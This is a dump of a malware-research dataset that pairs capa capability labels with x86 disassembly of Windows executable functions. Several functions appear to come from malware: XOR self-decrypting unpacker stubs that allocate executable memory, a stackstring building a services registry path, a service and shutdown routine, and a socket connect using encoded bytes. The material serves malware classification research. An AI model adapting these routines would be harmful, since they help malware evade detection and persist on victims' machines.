joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e4c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
call fcn.0045f2f0
test byte [ebp + 0xd], 0xc0
jne 0x45e4e4
mov eax, dword [0x46a9c4]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x45e4f1
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x45e51e
je 0x45e530
sub ecx, 0x100
je 0x45e53e
sub ecx, 0x100
je 0x45e545
sub ecx, 0x100
je 0x45e537
jmp 0x45e54c
sub ecx, 0x600
je 0x45e545
sub ecx, 0x100
je 0x45e530
jmp 0x45e54c
mov edi, 1
jmp 0x45e551
mov edi, 2
jmp 0x45e551
mov edi, 4
jmp 0x45e551
mov edi, 5
jmp 0x45e551
mov edi, 3
test byte [ebp + 0xd], 1
je 0x45e578
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x46a43c]
test al, 0x80
je 0x45e571
mov ebx, 0x80
jmp 0x45e58a
mov ebx, 1
jmp 0x45e58a
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x45e58a
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x45e59c
je 0x45e5a5
dec eax
je 0x45e5ae
jmp 0x45e5b7
mov dword [ebp - 4], SysFreeString
jmp 0x45e5c6
mov dword [ebp - 4], 0x40000000
jmp 0x45e5c6
mov dword [ebp - 4], 0xc0000000
jmp 0x45e5c6
push 1
call fcn.0045f6e8
pop ecx
mov ebx, eax
jmp 0x45e6b6
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x45e5e2
sub eax, 0x10
je 0x45e5e9
sub eax, 0x10
je 0x45e5f2
sub eax, 0x10
je 0x45e5fb
jmp 0x45e5fb
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x45e602
mov dword [ebp - 8], 1
jmp 0x45e602
mov dword [ebp - 8], 2
jmp 0x45e602
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x45e66f
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x45e664
test byte [ebp + 0xd], 1
je 0x45e65f
mov ebx, 0x50
jmp 0x45e664
mov ebx, 2
push ebx
call fcn.0045f6e8
pop ecx
mov ebx, eax
jmp 0x45e6b6
mov edi, esi
push edi
call fcn.0045e424
pop ecx
test eax, eax
je 0x45e683
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x45e68f
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.0045f410
add esp, 8
mov ebx, eax
inc eax
jne 0x45e6b6
push 4
call fcn.0045f6e8
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
call fcn.0045f324
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x461f00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
je 0x461f62
call fcn.00461eb0
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.0045d128
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.0045d128
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x461fe0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x46b7ec], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x4620ba
cmp dword [0x46b7e8], 0
jne 0x4620ba
cmp dword [0x46b9cc], 0
je 0x462074
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00461db0
add esp, 8
mov ebx, eax
test eax, eax
jne 0x46205a
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00461db0
add esp, 8
mov ebx, eax
test eax, eax
jne 0x46205a
lea ebx, [ebp - 0x84]
jmp 0x46205b
inc ebx
call fcn.00461f9c
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x4620f5
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x46b7f0
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.0045d128
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x46b7f3
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x4620f5
cmp dword [0x46b7e8], 0
je 0x4620d4
cmp dword [0x46b7e8], 0xffffffff
je 0x4620f5
push esi
call dword [0x46b7e8]
pop ecx
mov eax, dword [0x46b7ec]
test eax, eax
je 0x4620f5
cmp dword [0x46b7ec], 0xffffffff
je 0x4620f5
cmp byte [eax], 0
je 0x4620f5
push esi
push eax
call fcn.00461f00
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x417432
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x417441
pop dword [ebp - 0x3c]
mov eax, 0xadc3fc8d
add eax, 0x527d77b4
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xdf979cbc
sub dword [ebp - 0x4c], 0x91455771
mov dword [ebp - 0x48], 0x959b8a66
add dword [ebp - 0x48], 0x9c97c1df
mov dword [ebp - 0x44], 0x8f8543a7
sub dword [ebp - 0x44], 0x4338ff79
mov dword [ebp - 0x40], 0x39160f2e
add dword [ebp - 0x40], 0xc6e9f0d2
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x900bad70
add dword [ebp - 0x4c], 0xe466bbe6
mov dword [ebp - 0x48], 0x71de2289
sub dword [ebp - 0x48], 0x3071c114
mov dword [ebp - 0x44], 0x6eecd2f6
add dword [ebp - 0x44], 0xf4829976
mov dword [ebp - 0x40], 0x9dafd015
sub dword [ebp - 0x40], 0x9dafd015
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xce59e1b7
sub eax, 0xce17b093
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e1f6
push 0
call eax
mov ecx, 0x49a8
mov esi, eax
mov edx, 0x26d6d347
add edx, 0xd96c70b9
add edx, dword [ebp - 0x3c]
mov ebx, 0xbd68bac8
add ebx, 0x6f06083a
mov edi, dword [edx]
add dword [ebp - 8], eax
xor edi, ebx
sub dword [ebp - 0x20], ecx
mov dword [esi], edi
add dword [ebp - 0x18], 0xd1c8b2c8
add esi, 0xf9ca407
sub esi, 0xf9ca403
add edx, 0xf2593b28
sub edx, 0xf2593b24
loop 0x417558
add eax, 0xe3ec475a
sub eax, 0xe3eb2de7
mov ebx, eax
add eax, 0x94ac793c
add eax, 0x6b5386c9
mov ecx, 0xb8f7a0ba
add ecx, 0x47485f46
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push ebp
push esi
push edi
call fcn.0040eb78
push str._JAVA_LAUNCHER_DEBUG
mov eax, dword [eax]
mov dword [0x433680], eax
call fcn.00419162
xor ebp, ebp
pop ecx
test eax, eax
je 0x401059
push str.Windows_original_main_args:_n
call fcn.00401112
pop ecx
mov esi, ebp
call fcn.0040e6c7
cmp dword [eax], ebp
jle 0x401059
call fcn.0040e6cd
mov eax, dword [eax]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00401112
add esp, 0xc
inc esi
call fcn.0040e6c7
cmp esi, dword [eax]
jl 0x401037
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040121d
call fcn.00401285
mov ebx, eax
lea ecx, [ebx*4 + 4]
push ecx
call fcn.00401135
pop ecx
pop ecx
mov esi, eax
call fcn.0040128b
mov edx, ebp
test ebx, ebx
jle 0x401093
mov ecx, dword [eax + edx*8]
mov dword [esi + edx*4], ecx
inc edx
cmp edx, ebx
jl 0x401088
mov edi, dword [str.java]
mov dword [esi + edx*4], ebp
test edi, edi
jne 0x4010a2
mov edi, dword [esi]
mov edx, dword [section..data]
test edx, edx
jne 0x4010ae
mov edx, dword [esi]
mov ecx, dword [0x432990]
push ebp
xor ebp, ebp
inc ebp
test ecx, ecx
push ebp
push ebp
setne al
movzx eax, al
push eax
push edi
push edx
push 0x426274
push 0x426278
push dword [0x432994]
push ebp
push ecx
push ebp
push esi
push ebx
call fcn.00401d65
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x404305
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.00419162
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x404478
jg 0x404334
test esi, esi
jb 0x404478
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.004175dd
add esp, 0xc
test eax, eax
js 0x404478
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x404396
push edi
call fcn.00404887
pop ecx
test eax, eax
je 0x40438d
push ebx
push esi
push edi
push ebp
call fcn.00419162
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x40447d
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.00419162
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x404478
jg 0x4043bf
cmp ebp, ebx
jb 0x404478
mov ecx, 0x10015
cmp eax, ebx
jg 0x4043d4
jl 0x4043ce
cmp ebp, ecx
jae 0x4043d4
mov esi, ebp
mov ecx, eax
jmp 0x4043d8
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.00419162
add esp, 0x10
cmp edx, ebx
jl 0x404478
jg 0x4043fe
cmp eax, ebx
jb 0x404478
push 0x10015
call fcn.00419162
mov ebx, eax
pop ecx
test ebx, ebx
je 0x404478
push esi
push ebx
push dword [esp + 0x24]
call fcn.004175dd
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x404471
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x40446d
cmp byte [esi], 0x50
jne 0x40446c
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x40446c
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x404484
dec esi
cmp esi, ebx
jae 0x40442d
push ebx
call fcn.00419162
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.0040a170
push ebx
call fcn.00419162
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.00404887
add esp, 0x14
test eax, eax
je 0x4044c4
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.00419162
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x40447d
Function at 0x40bc63
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x34]
mov dword [ebp - 0x38], 0x20
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 3
mov ecx, dword [ebp - 0x2c]
pop eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
push eax
lea eax, [ebp - 0x18]
push eax
push 2
push 0x4000000
push 0x30363165
mov dword [ebp - 0x14], esi
call fcn.0040c831
add esp, 0x14
push esi
push 0x202
call fcn.0040d6a2
push dword [ebp - 0x2c]
push 0x203
call fcn.0040d6a2
pop edi
pop esi
leave
ret 4

Function at 0x40ca03
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
push 0x46
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x118]
mov dword [ebp - 0x11c], ebx
push 0x412f80
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp + 8]
push 1
pop esi
mov dword [0x412f98], eax
push esi
call fcn.0040b800
cmp eax, ebx
mov dword [0x412fa4], eax
je 0x40ca5a
push 4
call fcn.0040b800
test eax, eax
mov dword [0x412fa8], esi
je 0x40ca60
mov dword [0x412fa8], ebx
cmp dword [0x412fa4], ebx
mov dword [ebp - 0x11c], 0x11c
je 0x40caa2
cmp dword [0x412fa8], ebx
jne 0x40caa2
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x40caa2
cmp dword [ebp - 0x114], esi
jae 0x40ca9c
cmp dword [ebp - 0x118], 6
jb 0x40caa2
mov dword [0x412fa0], esi
push 4
call fcn.0040b800
test eax, eax
je 0x40cac2
push 0x1000
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
mov dword [0x412fac], esi
jne 0x40cac8
mov dword [0x412fac], ebx
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [0x412fb0], eax
call fcn.0040c9d1
push dword [ebp + 0xc]
call fcn.0040d4cc
push dword [ebp + 0xc]
call fcn.0040e01d
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404945
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x411e4f
call fcn.00408998
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
and dword [ebp - 4], 0
lea eax, [ebp - 0x44]
push eax
push str.A3B1C6C7B45C3B9BC175A1184057244620F419
lea ecx, [ebp - 0x2f8]
call fcn.00401ce0
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
mov word [ebp - 0x30], 2
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
mov ax, word [0x41425c]
add esp, 0x18
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 9
push ebx
push edi
mov word [ebp - 0x2e], ax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
lea eax, [ebp - 0x44]
push eax
call fcn.004024ff
push 9
push ebx
push edi
mov dword [ebp - 0x2c], eax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x34
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 9
push ebx
push edi
mov dword [ebp - 0x20], eax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404a71
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x404a89
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cd9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4066b8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push str.33333333333333333333333333333333333333
push 0x414100
call fcn.00408f00
pop ecx
cmp eax, 1
pop ecx
jne 0x4066f1
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.shutdown__s__t_5
call fcn.00408e60
pop ecx
push 0
call fcn.00408d6d
push esi
push edi
call fcn.0040679f
push 9
mov edi, str._ni_d__j_d_n
test eax, eax
push 6
push edi
je 0x406753
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call fcn.00408453
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 9
push 6
push edi
mov dword [ebp - 0x10], str.Ijklmno_Qrstua
mov dword [ebp - 0xc], 0x4061ea
call fcn.00408453
push 0x12
push 6
push esi
call fcn.00408453
add esp, 0x30
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x406797
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push 6
push esi
call fcn.00408453
push str.Ijkl_Nopqrst_Abcdefghij_L
push str.Ijklmn_Pqrstua_Cdefghi_Klmn
push str.Ijklmno_Qrstua
call fcn.00406903
push 9
push 6
push edi
call fcn.00408453
push 0x12
push 6
push esi
call fcn.00408453
add esp, 0x3c
call fcn.004046a2
pop edi
xor eax, eax
pop esi
leave
ret 0x10
Function at 0x40679f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
and byte [ebp - 0x12c], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 6
stosb byte es:[edi], al
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
and byte [ebp - 2], 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12c]
push eax
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x53
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x5c
call fcn.00408bd0
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
lea eax, [ebp - 0x12c]
push str.Ijklmno_Qrstua
push eax
call fcn.00408be0
add esp, 0x40
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [ebp - 0x28]
push eax
push 0xf003f
lea eax, [ebp - 0x12c]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4068fc
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
push 1
pop eax
jmp 0x4068fe
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407c20
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
push ebx
push esi
push edi
lea eax, [ebp - 0xc]
xor ebx, ebx
push 1
mov edi, ecx
xor esi, esi
push eax
push ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], ebx
call sub.iphlpapi.dll_GetIfTable
cmp eax, 0x32
je 0x407c6f
cmp eax, 0x7a
jne 0x407c5f
push dword [ebp - 0xc]
call fcn.00409031
pop ecx
mov dword [ebp - 4], eax
mov esi, eax
lea eax, [ebp - 0xc]
push 1
push eax
push esi
call sub.iphlpapi.dll_GetIfTable
test eax, eax
je 0x407c76
xor al, al
jmp 0x407d40
xor edx, edx
xor eax, eax
cmp dword [esi], ebx
jbe 0x407cc4
add esi, 4
mov dword [ebp - 8], esi
mov esi, dword [ebp - 8]
mov ecx, 0xd7
lea edi, [ebp - 0x36c]
add dword [ebp - 8], 0x35c
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x144]
mov esi, dword [ebp - 0x12c]
mov dword [eax*4 + 0x4185b8], ecx
add edx, ecx
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x4185cc], esi
add ebx, esi
inc eax
cmp eax, dword [ecx]
jb 0x407c84
mov edi, dword [ebp - 0x10]
mov ecx, dword [0x4185a8]
mov esi, dword [0x4185ac]
mov eax, edx
sub eax, ecx
mov dword [0x4185b0], eax
mov eax, ebx
sub eax, esi
test ecx, ecx
mov dword [0x4185b4], eax
ja 0x407ced
and dword [0x4185b0], 0
test esi, esi
ja 0x407cf8
xor eax, eax
mov dword [0x4185b4], eax
mov esi, dword [ebp + 8]
mov dword [0x4185a8], edx
mov dword [0x4185ac], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi], eax
cmp dword [edi + 0x24], 0
je 0x407d1b
and dword [edi + 0x24], 0
jmp 0x407d30
call ebx
mov ecx, eax
mov eax, dword [esi]
sub ecx, dword [edi + 0x20]
imul eax, eax, 0x3e8
xor edx, edx
div ecx
mov dword [esi], eax
call ebx
push dword [ebp - 4]
mov dword [edi + 0x20], eax
call fcn.00408205
pop ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40b5a9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40b5c9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040f5f7
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40b5ea
test byte [esp + 8], 2
je 0x40b5ea
mov dword [0x418608], 0xd
mov dword [0x41860c], 5
jmp 0x40b5c5
xor eax, eax
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100232f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10023308
pop dword [ebp - 0x38]
mov eax, 0xfcbbf98
add eax, 0x367370
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x40b35
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x3e4d
mov edi, eax
mov edx, 0xacb2b082
sub edx, 0x9c9a3e82
add edx, dword [ebp - 0x38]
mov esi, 0xd3d49846
sub esi, 0xe1a91e05
add dword [ebp - 0x30], 0xcc1bce5
mov ebx, dword [edx]
sub dword [ebp - 8], 0x885c46fa
xor ebx, esi
add dword [ebp - 0x1c], 0x3b1357cb
mov dword [edi], ebx
sub dword [ebp - 0x18], ecx
add edi, 0x825e6319
sub edi, 0x825e6315
add edx, 0xdb17e2e0
sub edx, 0xdb17e2dc
loop 0x1002335c
add eax, 0x82350829
sub eax, 0x82341c22
xor ebx, ebx
add ebx, eax
add eax, 0x192648b1
add eax, 0xe6d9b754
mov ecx, 0xf12e3edb
sub ecx, 0xe12e3edb
add ecx, dword [ebp - 0x38]
call ebx
leave
ret